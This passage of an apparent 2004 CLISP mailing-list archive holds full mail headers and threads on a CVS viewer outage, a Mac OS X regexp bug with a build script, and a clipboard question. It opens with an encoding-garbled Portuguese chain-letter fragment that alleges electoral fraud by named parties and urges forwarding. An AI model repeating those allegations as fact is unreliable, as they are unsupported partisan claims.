,= = d= i= s= s= e= = q= u= e= = p= o= d= e= r= i= a= = s= e= r= = r= e= v= i= s= t= o= = o= = m= e= c= a= n= i= s= m= o= = q= u= e= = p= r= e= v= =EA= = m= u= l= t= a= = d= e= = 4= 0= %= = s= o= b= r= e= = o= = F= G= T= S= = (= F= u= n= d= o= = d= e= = G= a= r= a= n= t= i= a= = d= o= = T= e= m= p= o= = d= e= = S= e= r= v= i= =E7= o= )= = n= a= s= = d= e= m= i= s= s= =F5= e= s= = e= = c= i= t= o= u= = o= = p= a= r= c= e= l= a= m= e= n= t= o= = d= o= = 1= 3= =BA= = s= a= l= =E1= r= i= o= .=20 =20 = E= S= S= A= = R= E= F= O= R= M= A= = S= E= R= =C1= = C= O= N= D= U= Z= I= D= A= = P= E= L= O= = M= I= N= I= S= T= R= O= = D= A= = A= R= T= I= C= U= L= A= =C7= =C3= O= = P= O= L= =CD= T= I= C= A= ,= = A= L= D= O= = R= E= B= E= L= O= = (= P= C= = D= O= = B= )=20 = V= A= M= O= S= = I= M= P= E= D= I= R= = M= A= I= S= = U= M= A= = F= R= A= U= D= E= = E= L= E= I= T= O= R= A= L= = D= O= = P= T= = E= = D= O= = P= C= = D= O= = B= = != !=20 = P= o= r= = f= a= v= o= r= ,= = r= e= p= a= s= s= e= m= = p= a= r= a= = o= = m= a= i= o= r= = n= =FA= m= e= r= o= = d= e= = p= e= s= s= o= a= s= = p= o= s= s= =ED= v= e= i= s= != !=20 From slepnev_v@rambler.ru Wed Aug 18 04:48:03 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxOvC-0001xh-ES for clisp-list@lists.sourceforge.net; Wed, 18 Aug 2004 04:48:02 -0700 Received: from mxb.rambler.ru ([81.19.66.30]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BxOvA-0005yw-CJ for clisp-list@lists.sourceforge.net; Wed, 18 Aug 2004 04:48:02 -0700 Received: from mail1.rambler.ru (mail1.rambler.ru [81.19.66.85]) by mxb.rambler.ru (Postfix) with ESMTP id 3E48783CEF for ; Wed, 18 Aug 2004 15:47:48 +0400 (MSD) Received: from [81.19.66.146] (account slepnev_v@rambler.ru) by mail1.rambler.ru (CommuniGate Pro WebUser 4.1.6) with HTTP id 74698976 for clisp-list@lists.sourceforge.net; Wed, 18 Aug 2004 15:47:48 +0400 From: "=?windows-1251?Q?=D1=EB=E5=EF=ED=E5=E2_=C2=EB=E0=E4=E8=EC=E8=F0?=" To: clisp-list@lists.sourceforge.net X-Mailer: CommuniGate Pro WebUser Interface v.4.1.6 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1251"; format="flowed" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] view cvs? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 18 04:49:01 2004 X-Original-Date: Wed, 18 Aug 2004 15:47:48 +0400 Viewing the CLisp CVS on the Web doesn't work for some reason. For=20 example, the links from http://clisp.cons.org/wanted.html lead to: Bad Gateway The proxy server received an invalid response from an upstream server. Is it just me? Vladimir Slepnev From sds@gnu.org Wed Aug 18 07:17:42 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxRFz-0002XX-Tq for clisp-list@lists.sourceforge.net; Wed, 18 Aug 2004 07:17:39 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BxRFz-0001pL-EQ for clisp-list@lists.sourceforge.net; Wed, 18 Aug 2004 07:17:39 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7IEHR71012113; Wed, 18 Aug 2004 10:17:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KHQu9C10L8=?= =?utf-8?b?0L3QtdCyINCS0LvQsNC00LjQvNC4?= =?utf-8?b?0YA=?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: =?utf-8?b?KNCh0Ls=?= =?utf-8?b?0LXQv9C90LXQsiDQktC70LDQtNC4?= =?utf-8?b?0LzQuNGAJ3M=?= message of "Wed, 18 Aug 2004 15:47:48 +0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, =?utf-8?b?0KE=?= =?utf-8?b?0LvQtdC/0L3QtdCyINCS0LvQsNC0?= =?utf-8?b?0LjQvNC40YA=?= Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] Re: view cvs? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 18 07:18:22 2004 X-Original-Date: Wed, 18 Aug 2004 10:17:27 -0400 > * =D0=A1=D0=BB=D0=B5=D0=BF=D0=BD=D0=B5=D0=B2 =D0=92=D0=BB=D0=B0=D0=B4=D0= =B8=D0=BC=D0=B8=D1=80 [2004-08-18 15:47:48 +0400]: > > Viewing the CLisp CVS on the Web doesn't work for some reason. : ( 2004-08-13 07:16:12 - Project CVS Service ) As of 2004-08-13 the CVS issue documented yesterday has not been fully resolved. As such, we had to disable pserver based CVS for those letters again to further look into the issue and resolve it. We anticipate this service to be back up sometime later today. ( 2004-08-12 12:42:49 - Project CVS Service ) On 2004-08-12 at about 10:00 Pacific the pserver based CVS server that hosts projects that have a first letter of c,d,g,a,w,x and u had a hardware malfunction that is currently being worked on. Projects whose letters match those previously mentioned will not be able to have their pserver CVS repositories or ViewCVS interface functional until the issue is resolved. We anticipate this issue to be resolved by sometime tomorrow. > For example, the links from http://clisp.cons.org/wanted.html lead to: > Bad Gateway > The proxy server received an invalid response from an upstream server. WFM. please try again. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k The only time you have too much fuel is when you're on fire. From pascal@informatimago.com Thu Aug 19 12:48:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bxsti-0000fy-Em for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 12:48:30 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bxsth-0004XO-FQ for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 12:48:30 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 24FC6586EA; Thu, 19 Aug 2004 21:48:24 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id CDC722812F; Thu, 19 Aug 2004 21:48:05 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en Reply-To: Message-Id: <20040819194805.CDC722812F@thalassa.informatimago.com> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 LINES_OF_YELLING BODY: A WHOLE LINE OF YELLING DETECTED Subject: [clisp-list] regexp on Darwin (MacOSX 10.3.5) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 19 12:49:04 2004 X-Original-Date: Thu, 19 Aug 2004 21:48:05 +0200 (CEST) Hello, I'm compiling clisp-2.33.2 on MacOSX 10.3.5 with this script: #!/bin/bash UNAME=$(uname) [ -z "$PREFIX" ] && PREFIX="$HOME/tools/clisp" [ -z "$URL" ] && URL="http://www.lispworks.com/reference/HyperSpec/" [ -z "$CLISP_SRC" ] && CLISP_SRC=clisp-2.33.2 MODULES=( --prefix="$PREFIX" --with-module=regexp --with-module=syscalls --hyperspec="$URL") ulimit -S -s 8192 export CONFIG_SHELL=/bin/bash echo Cleaning... make -C "$CLISP_SRC/src" distclean >/dev/null 2>&1 echo Removing modules... rm -rf "$CLISP_SRC/src/postgresql" rm -rf "$CLISP_SRC/src/syscalls" rm -rf "$CLISP_SRC/src/queens" rm -rf "$CLISP_SRC/src/regexp" rm -rf "$CLISP_SRC/src/oracle" rm -rf "$CLISP_SRC/src/wildcard" rm -rf "$CLISP_SRC/src/netica" rm -rf "$CLISP_SRC/src/dirkey" rm -rf "$CLISP_SRC/src/fastcgi" rm -rf "$CLISP_SRC/src/berkeley-db" rm -rf "$CLISP_SRC/src/pcre" rm -rf "$CLISP_SRC/src/bindings" rm -rf "$CLISP_SRC/src/clx" echo Removing config.cache... rm -f "$CLISP_SRC/src/config.cache" set -e # exit as soon as a command returns non-null status. ( cd "$CLISP_SRC" ; ./configure ${MODULES[@]} ) ( cd "$CLISP_SRC/src" ; ./makemake ${MODULES[@]} > Makefile ) make -C "$CLISP_SRC/src" config.lisp cp clisp-config-for-${UNAME} "$CLISP_SRC/src/config.lisp" make -C "$CLISP_SRC/src" make -C "$CLISP_SRC/src" check make -C "$CLISP_SRC/src" install exit 0 #### clisp-compile-on-Darwin -- -- #### All goes well, but when I try to use REGEXP, it does not work correctly: $ install/bin/clisp -Kfull -norc install/bin/clisp -Kfull -norc i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 [1]> (regexp:match "." "a") #S(REGEXP:MATCH :START 0 :END 0) On Linux, I get as expected: #S(REGEXP:MATCH :START 0 :END 1) -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Thu Aug 19 13:38:56 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxtgW-0001Uz-4t for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 13:38:56 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BxtgU-0003rb-6F for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 13:38:56 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7JKcf3C021042; Thu, 19 Aug 2004 16:38:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040819194805.CDC722812F@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 19 Aug 2004 21:48:05 +0200 (CEST)") References: <20040819194805.CDC722812F@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Subject: [clisp-list] Re: regexp on Darwin (MacOSX 10.3.5) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 19 13:39:05 2004 X-Original-Date: Thu, 19 Aug 2004 16:38:41 -0400 > * Pascal J.Bourguignon [2004-08-19 21:48:05 +0200]: > > I'm compiling clisp-2.33.2 on MacOSX 10.3.5 with this script: the following 2 lines should be enough: $ rm -rf build $ ./configure --with-module=regexp ... --build build > [1]> (regexp:match "." "a") > #S(REGEXP:MATCH :START 0 :END 0) > > > On Linux, I get as expected: > #S(REGEXP:MATCH :START 0 :END 1) $ grep NEW_LIBS build/regexp/link.sh if the above is something like "$file_list", then you are using the system-wide regexp implementation and what you see is a bug in MacOSX. if the above is something like "$file_list regex.o", then this is a bug in the gnulib regexp that comes with CLISP. (in the next version you should be able to do $ ./configure --with-module=regexp --without-sysre to disable system-wide regexp) -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse has moved - WinNT has to be restarted for this to take effect. From pascal@informatimago.com Thu Aug 19 14:11:46 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxuCH-0007sN-Ut for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 14:11:45 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BxuCH-0001Ag-6H for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 14:11:45 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 47071586EA; Thu, 19 Aug 2004 23:11:42 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D8B30236A3; Thu, 19 Aug 2004 23:11:23 +0200 (CEST) Message-ID: <16677.6011.771272.150666@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: regexp on Darwin (MacOSX 10.3.5) In-Reply-To: References: <20040819194805.CDC722812F@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 19 14:12:05 2004 X-Original-Date: Thu, 19 Aug 2004 23:11:23 +0200 Sam Steingold writes: > if the above is something like "$file_list", then you are using the > system-wide regexp implementation and what you see is a bug in MacOSX. > if the above is something like "$file_list regex.o", then this is a bug > in the gnulib regexp that comes with CLISP. > > (in the next version you should be able to do > $ ./configure --with-module=regexp --without-sysre > to disable system-wide regexp) Indeed, there's a bug in MacOSX regex. What would be the advantage of using the system-wide regexp when a true and good implementation is provided in the source tree? -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From sds@gnu.org Thu Aug 19 14:20:30 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxuKj-000198-W5 for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 14:20:29 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BxuKi-0002Ze-Gy for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 14:20:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i7JLKI3C001467; Thu, 19 Aug 2004 17:20:19 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <16677.6011.771272.150666@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Thu, 19 Aug 2004 23:11:23 +0200") References: <20040819194805.CDC722812F@thalassa.informatimago.com> <16677.6011.771272.150666@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: regexp on Darwin (MacOSX 10.3.5) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 19 14:21:08 2004 X-Original-Date: Thu, 19 Aug 2004 17:20:18 -0400 > * Pascal J.Bourguignon [2004-08-19 23:11:23 +0200]: > > What would be the advantage of using the system-wide regexp when a > true and good implementation is provided in the source tree? 1. smaller executable code size 2. less maintenance overhead 3. presumably the platform vendor would bend over backwards trying to debug and optimize such a common tool as the regexp library. -- Sam Steingold (http://www.podval.org/~sds) running w2k XFM: Exit file manager? [Continue] [Cancel] [Abort] From pascal@informatimago.com Thu Aug 19 15:24:43 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BxvKt-0003V9-4E for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 15:24:43 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BxvKr-00067Z-Cx for clisp-list@lists.sourceforge.net; Thu, 19 Aug 2004 15:24:43 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D61FE586EA; Fri, 20 Aug 2004 00:01:18 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 3E7012812F; Fri, 20 Aug 2004 00:01:00 +0200 (CEST) Message-ID: <16677.8987.984962.696986@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20040819194805.CDC722812F@thalassa.informatimago.com> <16677.6011.771272.150666@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_POWER BODY: Text interparsed with ^ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: regexp on Darwin (MacOSX 10.3.5) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 19 15:25:20 2004 X-Original-Date: Fri, 20 Aug 2004 00:00:59 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2004-08-19 23:11:23 +0200]: > > > > What would be the advantage of using the system-wide regexp when a > > true and good implementation is provided in the source tree? > > 1. smaller executable code size Yes. > 2. less maintenance overhead It's in there anyway. > 3. presumably the platform vendor would bend over backwards trying to > debug and optimize such a common tool as the regexp library. Once they'll fed up changing pixel colors or selling music, perhaps. At NeXT they never bothered correcting unix-level bugs, and at Apple, they resolved the problem by freeing the sources. The only problem is that it's hard to ask _our_ customers to upheaval^W upgrade all the hidden OS layers just because their vendor's version has bugs. And we won't even think about what would happen the next time they automatically download system patches from Apple... -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From elvin_peterson@yahoo.com Sun Aug 22 09:56:04 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ByvdT-0004vn-SH for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 09:56:03 -0700 Received: from web52208.mail.yahoo.com ([206.190.39.90]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.34) id 1ByvdS-0004fR-Eq for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 09:56:03 -0700 Message-ID: <20040822165556.81336.qmail@web52208.mail.yahoo.com> Received: from [202.83.42.181] by web52208.mail.yahoo.com via HTTP; Sun, 22 Aug 2004 09:55:56 PDT From: Elvin Peterson To: Clisp MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] clipboard using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Aug 22 10:00:43 2004 X-Original-Date: Sun, 22 Aug 2004 09:55:56 -0700 (PDT) Hello, Is there any command to access the clipboard using clisp? I am using clisp in cygwin under windows. TIA. _______________________________ Do you Yahoo!? Win 1 of 4,000 free domain names from Yahoo! Enter now. http://promotions.yahoo.com/goldrush From slepnev_v@rambler.ru Sun Aug 22 13:44:11 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ByzCB-0008LR-Ia for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 13:44:07 -0700 Received: from mxb.rambler.ru ([81.19.66.30]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1ByzC9-0003BK-RS for clisp-list@lists.sourceforge.net; Sun, 22 Aug 2004 13:44:07 -0700 Received: from mail1.rambler.ru (mail1.rambler.ru [81.19.66.85]) by mxb.rambler.ru (Postfix) with ESMTP id C7EEA8417E for ; Mon, 23 Aug 2004 00:43:58 +0400 (MSD) Received: from [81.19.66.146] (account 